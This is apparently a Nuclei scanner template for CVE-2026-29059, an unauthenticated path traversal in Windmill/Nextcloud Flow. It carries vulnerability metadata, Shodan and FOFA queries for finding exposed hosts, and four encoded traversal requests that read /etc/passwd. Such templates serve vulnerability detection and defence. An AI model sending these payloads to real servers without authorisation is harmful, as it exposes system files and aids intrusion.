Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal

id: CVE-2026-29059

info:
  name: Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal
  author: 0x_Akoko
  severity: critical
  description: |
    Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to version 1.603.3 or later.
  reference:
    - https://github.com/Chocapikk/Windfall
    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29059
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10.0
    cve-id: CVE-2026-29059
    epss-score: 0.02608
    epss-percentile: 0.84081
    cwe-id: CWE-22
  metadata:
    max-request: 4
    vendor: windmill
    product: windmill
    verified: true
    shodan-query: http.html:"Windmill" http.html:"svelte-global-loader"
    fofa-query: app="Windmill"
  tags: cve,cve2026,windmill,nextcloud,lfi,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"
      - "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0:0:"

      - type: word
        part: body
        words:
          - "<!DOCTYPE"
          - "Err:"
        condition: or
        negative: true

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a08f6d34ebf758ffcd44362a1f3a66dd6c7f7a9a3758c7353019f4f070ce278c022100d35baeaf284374a3667b0597bd4b858fcc0680597a7233e6e878404cfe459c39:922c64590222798bb761d5b6d8e72950